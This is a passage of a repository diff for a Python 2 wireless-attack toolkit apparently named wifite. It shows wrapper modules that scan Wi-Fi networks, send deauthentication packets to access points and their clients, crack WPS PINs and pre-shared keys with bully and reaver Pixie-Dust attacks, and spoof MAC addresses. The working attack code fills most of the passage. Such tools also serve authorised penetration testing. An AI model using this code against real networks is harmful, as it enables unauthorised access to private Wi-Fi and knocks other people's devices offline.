Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
return
if Process.exists('systemctl'):
cmd = 'systemctl start NetworkManager'
proc = Process(cmd)
(out, err) = proc.get_output()
if proc.poll() != 0:
Color.pl(" {R}Error executing {O}%s{W}" % cmd)
if out is not None and out.strip() != "":
Color.pl("{!} {O}STDOUT> %s{W}" % out)
if err is not None and err.strip() != "":
Color.pl("{!} {O}STDERR> %s{W}" % err)
else:
Color.pl(" {G}done{W} ({C}%s{W})" % cmd)
return
else:
Color.pl(" {R}can't restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}")
if __name__ == '__main__':
Airmon.terminate_conflicting_processes()
iface = Airmon.ask()
Airmon.stop(iface)

306
wifite/tools/airodump.py Executable file
View File

@@ -0,0 +1,306 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.util.process import Process
from wifite.config import Configuration
from wifite.model.target import Target
from wifite.model.client import Client
from wifite.tools.tshark import Tshark
import os, time
class Airodump(object):
''' Wrapper around airodump-ng program '''
def __init__(self, interface=None, channel=None, encryption=None,\
wps=False, target_bssid=None, output_file_prefix='airodump',\
ivs_only=False, skip_wps=False):
'''
Sets up airodump arguments, doesn't start process yet
'''
Configuration.initialize()
if interface is None:
interface = Configuration.interface
if interface is None:
raise Exception("Wireless interface must be defined (-i)")
self.interface = interface
self.targets = []
if channel is None:
channel = Configuration.target_channel
self.channel = channel
self.five_ghz = Configuration.five_ghz
self.encryption = encryption
self.wps = wps
self.target_bssid = target_bssid
self.output_file_prefix = output_file_prefix
self.ivs_only = ivs_only
self.skip_wps = skip_wps
# For tracking decloaked APs (previously were hidden)
self.decloaking = False
self.decloaked_targets = []
self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
def __enter__(self):
'''
Setting things up for this context.
Called at start of 'with Airodump(...) as x:'
Actually starts the airodump process.
'''
self.delete_airodump_temp_files()
self.csv_file_prefix = Configuration.temp() + self.output_file_prefix
# Build the command
command = [
'airodump-ng',
self.interface,
'-a', # Only show associated clients
'-w', self.csv_file_prefix, # Output file prefix
'--write-interval', '1' # Write every second
]
if self.channel:
command.extend(['-c', str(self.channel)])
elif self.five_ghz:
command.extend(['--band', 'a'])
if self.encryption:
command.extend(['--enc', self.encryption])
if self.wps:
command.extend(['--wps'])
if self.target_bssid:
command.extend(['--bssid', self.target_bssid])
if self.ivs_only:
command.extend(['--output-format', 'ivs,csv'])
else:
command.extend(['--output-format', 'pcap,csv'])
# Start the process
self.pid = Process(command, devnull=True)
return self
def __exit__(self, type, value, traceback):
'''
Tearing things down since the context is being exited.
Called after 'with Airodump(...)' goes out of scope.
'''
# Kill the process
self.pid.interrupt()
# Delete temp files
self.delete_airodump_temp_files()
def find_files(self, endswith=None):
''' Finds all files in the temp directory that start with the output_file_prefix '''
result = []
for fil in os.listdir(Configuration.temp()):
if fil.startswith(self.output_file_prefix):
if not endswith or fil.endswith(endswith):
result.append(Configuration.temp() + fil)
return result
def delete_airodump_temp_files(self):
'''
Deletes airodump* files in the temp directory.
Also deletes replay_*.cap and *.xor files in pwd.
'''
# Remove all temp files
for fil in self.find_files():
os.remove(fil)
# Remove .cap and .xor files from pwd
for fil in os.listdir('.'):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(fil)
def get_targets(self, apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file
csv_filename = None
for fil in self.find_files(endswith='-01.csv'):
# Found the file
csv_filename = fil
break
if csv_filename is None or not os.path.exists(csv_filename):
# No file found
return self.targets
# Parse the .CSV file
targets = Airodump.get_targets_from_csv(csv_filename)
# Check targets for WPS
if not self.skip_wps:
capfile = csv_filename[:-3] + 'cap'
Tshark.check_for_wps_and_update_targets(capfile, targets)
if apply_filter:
# Filter targets based on encryption & WPS capability
targets = Airodump.filter_targets(targets, skip_wps=self.skip_wps)
# Sort by power
targets.sort(key=lambda x: x.power, reverse=True)
for old_target in self.targets:
for new_target in targets:
if old_target.bssid != new_target.bssid: continue
if new_target.essid_known and not old_target.essid_known:
# We decloaked a target!
self.decloaked_targets.append(new_target)
if self.pid.poll() is not None:
raise Exception('Airodump has stopped')
self.targets = targets
self.deauth_hidden_targets()
return self.targets
@staticmethod
def get_targets_from_csv(csv_filename):
'''
Returns list of Target objects parsed from CSV file
'''
targets = []
import csv
with open(csv_filename, 'rb') as csvopen:
lines = (line.replace('\0', '') for line in csvopen)
csv_reader = csv.reader(lines, delimiter=',')
hit_clients = False
for row in csv_reader:
# Each "row" is a list of fields for a target/client
if len(row) == 0: continue
if row[0].strip() == 'BSSID':
# This is the "header" for the list of Targets
hit_clients = False
continue
elif row[0].strip() == 'Station MAC':
# This is the "header" for the list of Clients
hit_clients = True
continue
if hit_clients:
# The current row corresponds to a "Client" (computer)
try:
client = Client(row)
except (IndexError, ValueError) as e:
# Skip if we can't parse the client row
continue
if 'not associated' in client.bssid:
# Ignore unassociated clients
continue
# Add this client to the appropriate Target
for t in targets:
if t.bssid == client.bssid:
t.clients.append(client)
break
else:
# The current row corresponds to a "Target" (router)
try:
target = Target(row)
targets.append(target)
except Exception:
continue
return targets
@staticmethod
def filter_targets(targets, skip_wps=False):
''' Filters targets based on Configuration '''
result = []
# Filter based on Encryption
for target in targets:
if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption:
result.append(target)
elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption:
result.append(target)
elif 'WPS' in Configuration.encryption_filter and target.wps:
result.append(target)
elif skip_wps:
result.append(target)
# Filter based on BSSID/ESSID
bssid = Configuration.target_bssid
essid = Configuration.target_essid
i = 0
while i < len(result):
if bssid and result[i].bssid.lower() != bssid.lower():
result.pop(i)
elif essid and result[i].essid and result[i].essid.lower() != essid.lower():
result.pop(i)
else:
i += 1
return result
def deauth_hidden_targets(self):
'''
Sends deauths (to broadcast and to each client) for all
targets (APs) that have unknown ESSIDs (hidden router names).
'''
self.decloaking = False
# Do not deauth if requested
if Configuration.no_deauth: return
# Do not deauth if channel is not fixed.
if self.channel is None: return
# Reusable deauth command
deauth_cmd = [
'aireplay-ng',
'-0', # Deauthentication
str(Configuration.num_deauths), # Number of deauth packets to send
'--ignore-negative-one'
]
for target in self.targets:
if target.essid_known: continue
now = int(time.time())
secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
# Decloak every AP once every 30 seconds
if secs_since_decloak < 30: continue
self.decloaking = True
self.decloaked_times[target.bssid] = now
if Configuration.verbose > 1:
from Color import Color
verbout = " [?] Deauthing %s" % target.bssid
verbout += " (broadcast & %d clients)" % len(target.clients)
Color.pe("\n{C}" + verbout + "{W}")
# Deauth broadcast
iface = Configuration.interface
Process(deauth_cmd + ['-a', target.bssid, iface])
# Deauth clients
for client in target.clients:
Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface])
if __name__ == '__main__':
''' Example usage. wlan0mon should be in Monitor Mode '''
with Airodump() as airodump:
from time import sleep
sleep(7)
from Color import Color
targets = airodump.get_targets()
for idx, target in enumerate(targets, start=1):
Color.pl(' {G}%s %s' % (str(idx).rjust(3), target.to_str()))
Configuration.delete_temp()

224
wifite/tools/bully.py Executable file
View File

@@ -0,0 +1,224 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..util.color import Color
from ..util.timer import Timer
from ..util.process import Process
from ..config import Configuration
from ..model.wps_result import CrackResultWPS
import os, time, re
from threading import Thread
class Bully(Attack):
def __init__(self, target):
super(Bully, self).__init__(target)
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
self.pins_attempted = 0
self.state = "{O}Waiting for beacon{W}"
self.m_state = None
self.start_time = time.time()
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
self.crack_result = None
self.target = target
self.cmd = [
"stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
"bully",
"--bssid", target.bssid,
"--channel", target.channel,
"--detectlock", # Detect WPS lockouts unreported by AP
"--force",
"-v", "4",
"--pixiewps",
Configuration.interface
]
self.bully_proc = None
def attack_type(self):
return "Pixie-Dust"
def run(self):
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True,
output_file_prefix='wps_pin') as airodump:
# Wait for target
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"Waiting for target to appear...")
self.target = self.wait_for_target(airodump)
# Start bully
self.bully_proc = Process(self.cmd,
stderr=Process.devnull(),
bufsize=0,
cwd=Configuration.temp())
t = Thread(target=self.parse_line_thread)
t.daemon = True
t.start()
try:
while self.bully_proc.poll() is None:
try:
self.target = self.wait_for_target(airodump)
except Exception as e:
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}failed: {O}%s{W}" % e)
Color.pl("")
self.stop()
break
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
self.get_status())
time.sleep(0.5)
except KeyboardInterrupt as e:
self.stop()
raise e
except Exception as e:
self.stop()
raise e
if self.crack_result is None:
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}Failed{W}\n")
def running_time(self):
return int(time.time() - self.start_time)
def get_status(self):
result = self.state
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
result += " {G}tries:%d{W}" % self.pins_attempted
result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
result += ")"
return result
def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""):
if line == "": continue
line = line.replace("\r", "").replace("\n", "").strip()
if self.parse_line(line): break # Cracked
def parse_line(self, line):
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
self.state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
result = "Start" # last_state.group(1)
pin = last_state.group(2)
self.state = "Trying PIN:{C}%s{W}" % pin
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505'
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if rx_m:
# group(1)=M3/M5, group(2)=result, group(3)=PIN
self.m_state = rx_m.group(1)
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
if result in ["Pin1Bad", "Pin2Bad"]:
self.pins_attempted += 1
self.consecutive_lockouts = 0 # Reset lockout count
self.consecutive_timeouts = 0 # Reset timeout count
self.consecutive_noassoc = 0 # Reset timeout count
result = "{G}%s{W}" % result
elif result == "Timeout":
self.consecutive_timeouts += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
self.consecutive_noassoc += 1
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
pin = rx_m.group(3)
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if lock_out:
sleeping = lock_out.group(1)
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
self.consecutive_lockouts += 1
# [Pixie-Dust] WPS pin not found
pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if pixie_re:
self.state = "{R}Failed{W}"
# [+] Running pixiewps with the information, wait ...
pixie_re = re.search(r".*Running pixiewps with the information", line)
if pixie_re:
self.state = "{G}Running pixiewps...{W}"
# [*] Pin is '80246213', key is 'password'
# [*] Pin is '11867722', key is '9a6f7997'
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
if pin_key_re:
self.cracked_pin = pin_key_re.group(1)
self.cracked_key = pin_key_re.group(2)
# PIN : '80246213'
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
# KEY : 'password'
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re:
self.cracked_key = key_re.group(1)
#warn_re = re.search(r"\[\!\]\s*(.*)$", line)
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key:
Color.clear_entire_line()
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(
self.target.bssid,
self.target.essid,
self.cracked_pin,
self.cracked_key)
Color.pl("")
self.crack_result.dump()
return True
else:
return False
def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
self.pid.interrupt()
def __del__(self):
self.stop()
if __name__ == '__main__':
stdout = " [*] Pin is '11867722', key is '9a6f7997'"
Configuration.initialize(False)
from Target import Target
fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
target = Target(fields)
b = Bully(target)
b.parse_line(stdout)

82
wifite/tools/macchanger.py Executable file
View File

@@ -0,0 +1,82 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.model.interface import Interface
from wifite.util.color import Color
class Macchanger(object):
is_init = False
is_changed = False
original_mac = None
@classmethod
def init(cls):
if cls.is_init: return
from Configuration import Configuration
iface = Configuration.interface
if type(iface) == Interface:
iface = iface.name
cls.original_mac = Interface.get_mac(iface)
@classmethod
def down_macch_up(cls, macch_option):
cls.init()
from Process import Process
from Configuration import Configuration
iface = Configuration.interface
cmd = ["ifconfig", iface, "down"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface)
ifdown = Process(cmd)
ifdown.wait()
if ifdown.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
return False
cmd = ["macchanger", macch_option, iface]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface)
macch = Process(cmd)
macch.wait()
if macch.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
return False
cmd = ["ifconfig", iface, "up"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface)
ifup = Process(cmd)
ifup.wait()
if ifup.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
return False
return True
@classmethod
def reset(cls):
# --permanent to reset to permanent MAC address
if not cls.down_macch_up("-p"): return
Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...")
from Configuration import Configuration
new_mac = Interface.get_mac(Configuration.interface)
Color.clear_entire_line()
Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac)
@classmethod
def random(cls):
# Use --permanent to use random MAC address
if not cls.down_macch_up("-r"): return
cls.is_changed = True
from Configuration import Configuration
new_mac = Interface.get_mac(Configuration.interface)
Color.clear_entire_line()
Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac)
@classmethod
def reset_if_changed(cls):
if not cls.is_changed: return
cls.reset()

268
wifite/tools/reaver.py Executable file
View File

@@ -0,0 +1,268 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..config import Configuration
from ..util.color import Color
from ..util.process import Process
from ..tools.airodump import Airodump
from ..model.wps_result import CrackResultWPS
import os, time, re
class Reaver(Attack):
def __init__(self, target):
super(Reaver, self).__init__(target)
self.success = False
self.crack_result = None
def is_pixiedust_supported(self):
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
command = [
'reaver',
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
#'--delay', '0',
#'--no-nacks',
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None
step = 'initializing'
time_since_last_step = 0
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wps=True,
output_file_prefix='pixie') as airodump:
Color.clear_line()
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if pin is not None or reaver.poll() is not None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin is not None:
# We cracked it.
bssid = self.target.bssid
Color.clear_entire_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
return False
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else:
time_since_last_step += 1
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
time.sleep(1)
continue
# Attack failed, already printed reason why
reaver.interrupt()
stdout_write.close()
return False
@staticmethod
def get_pin_psk_ssid(stdout):
''' Parses WPS PIN, PSK, and SSID from output '''
pin = psk = ssid = None
# Check for PIN.
''' [+] WPS pin: 11867722'''
regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE)
if regex:
pin = regex.group(1)
# Check for PSK.
# Note: Reaver 1.6.x does not appear to return PSK (?)
regex = re.search("WPA PSK: *'(.+)'", stdout)
if regex:
psk = regex.group(1)
# Check for SSID
"""1.x [Reaver Test] [+] AP SSID: 'Test Router' """
regex = re.search(r"AP SSID:\s*'(.*)'", stdout)
if regex:
ssid = regex.group(1)
# Check (again) for SSID
if ssid is None:
"""1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)"""
regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout)
if regex:
ssid = regex.group(1)
return (pin, psk, ssid)
def get_stdout(self):
''' Gets output from stdout_file '''
if not self.stdout_file:
return ''
with open(self.stdout_file, 'r') as fid:
stdout = fid.read()
return stdout.strip()
if __name__ == '__main__':
old_stdout = '''
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [+] WPS pin: 12345678
[Pixie-Dust]
[Pixie-Dust] [*] Time taken: 0 s
[Pixie-Dust]
Running reaver with the correct pin, wait ...
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
[Reaver Test] Channel: 11
[Reaver Test] [+] WPS PIN: '12345678'
[Reaver Test] [+] WPA PSK: 'Test PSK'
[Reaver Test] [+] AP SSID: 'Test Router'
'''
# From vom513 in https://github.com/derv82/wifite2/issues/60
new_stdout = '''
[+] Switching wlan1mon to channel 5
[+] Waiting for beacon from EC:1A:59:37:70:0E
[+] Received beacon from EC:1A:59:37:70:0E
[+] Vendor: RealtekS
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
Pixiewps 1.4
[?] Mode: 3 (RTL819x)
[*] Seed N1: -
[*] Seed ES1: -
[*] Seed ES2: -
[*] PSK1: 2c2e33f5e3a870759f0aeebbd2792450
[*] PSK2: 3f4ca4ea81b2e8d233a4b80f9d09805d
[*] ES1: 04d48dc20ec785762ce1a21a50bc46c2
[*] ES2: 04d48dc20ec785762ce1a21a50bc46c2
[+] WPS pin: 11867722
[*] Time taken: 0 s 21 ms
executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819
'''
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()
print ""
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
assert psk == None, 'psk was "%s", should have been "None"' % psk
assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
result.dump()

84
wifite/tools/tshark.py Executable file
View File

@@ -0,0 +1,84 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from wifite.util.process import Process
import re
class Tshark(object):
''' Wrapper for Tshark program. '''
def __init__(self):
pass
@staticmethod
def check_for_wps_and_update_targets(capfile, targets):
'''
Given a cap file and list of targets, use TShark to
find which BSSIDs in the cap file use WPS.
Then update the 'wps' flag for those BSSIDs in the targets.
Args:
capfile - .cap file from airodump containing packets
targets - list of Targets from scan, to be updated
'''
# Tshark is required to detect WPS networks
if not Process.exists('tshark'):
return
command = [
'tshark',
'-r', capfile, # Path to cap file
'-n', # Don't resolve addresses
# Filter WPS broadcast packets
'-Y', 'wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff',
'-T', 'fields', # Only output certain fields
'-e', 'wlan.ta', # BSSID
'-e', 'wps.ap_setup_locked', # Locked status
'-E', 'separator=,' # CSV
]
p = Process(command)
try:
p.wait()
lines = p.stdout()
except:
# Failure is acceptable
return
bssids = set()
for line in lines.split('\n'):
if ',' not in line:
continue
bssid, locked = line.split(',')
# Ignore if WPS is locked?
if '1' not in locked:
bssids.add(bssid.upper())
for t in targets:
t.wps = t.bssid.upper() in bssids
if __name__ == '__main__':
test_file = './tests/files/contains_wps_network.cap'
target_bssid = 'A4:2B:8C:16:6B:3A'
from Target import Target
fields = [
'A4:2B:8C:16:6B:3A', # BSSID
'2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates
'11', # Channel
'54', # throughput
'WPA2', 'CCMP TKIP', 'PSK', # AUTH
'-58', '2', '0', '0.0.0.0', '9', # ???
'Test Router Please Ignore', # SSID
]
t = Target(fields)
targets = [t]
# Should update 'wps' field of a target
Tshark.check_for_wps_and_update_targets(test_file, targets)
print 'Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)
assert targets[0].wps == True

0
wifite/util/__init__.py Normal file
View File

102
wifite/util/color.py Executable file
View File

@@ -0,0 +1,102 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
class Color(object):
''' Helper object for easily printing colored text to the terminal. '''
# Basic console colors
colors = {
'W' : '\033[0m', # white (normal)
'R' : '\033[31m', # red
'G' : '\033[32m', # green
'O' : '\033[33m', # orange
'B' : '\033[34m', # blue
'P' : '\033[35m', # purple
'C' : '\033[36m', # cyan
'GR': '\033[37m', # gray
'D' : '\033[2m' # dims current color. {W} resets.
}
# Helper string replacements
replacements = {
'{+}': ' {W}[{G}+{W}]',
'{!}': ' {O}[{R}!{O}]{W}',
'{?}': ' {W}[{C}?{W}]'
}
last_sameline_length = 0
@staticmethod
def p(text):
'''
Prints text using colored format on same line.
Example:
Color.p("{R}This text is red. {W} This text is white")
'''
sys.stdout.write(Color.s(text))
sys.stdout.flush()
if '\r' in text:
text = text[text.rfind('\r')+1:]
Color.last_sameline_length = len(text)
else:
Color.last_sameline_length += len(text)
@staticmethod
def pl(text):
'''
Prints text using colored format with trailing new line.
'''
Color.p('%s\n' % text)
Color.last_sameline_length = 0
@staticmethod
def pe(text):
'''
Prints text using colored format with leading and trailing new line to STDERR.
'''
sys.stderr.write(Color.s('%s\n' % text))
Color.last_sameline_length = 0
@staticmethod
def s(text):
''' Returns colored string '''
output = text
for (key,value) in Color.replacements.iteritems():
output = output.replace(key, value)
for (key,value) in Color.colors.iteritems():
output = output.replace("{%s}" % key, value)
return output
@staticmethod
def clear_line():
spaces = ' ' * Color.last_sameline_length
sys.stdout.write('\r%s\r' % spaces)
sys.stdout.flush()
Color.last_sameline_length = 0
@staticmethod
def clear_entire_line():
import os
(rows, columns) = os.popen('stty size', 'r').read().split()
Color.p("\r" + (" " * int(columns)) + "\r")
@staticmethod
def pattack(attack_type, target, attack_name, progress):
'''
Prints a one-liner for an attack
Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress
[name] ESSID (MAC @ Pwr) Attack_Type: Progress
e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs
'''
essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}"
Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % (
essid, target.bssid, target.power, attack_type, attack_name, progress))
if __name__ == '__main__':
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
print Color.s("{C}Testing{P}String{W}")
Color.pl("{+} Good line")
Color.pl("{!} Danger")

180
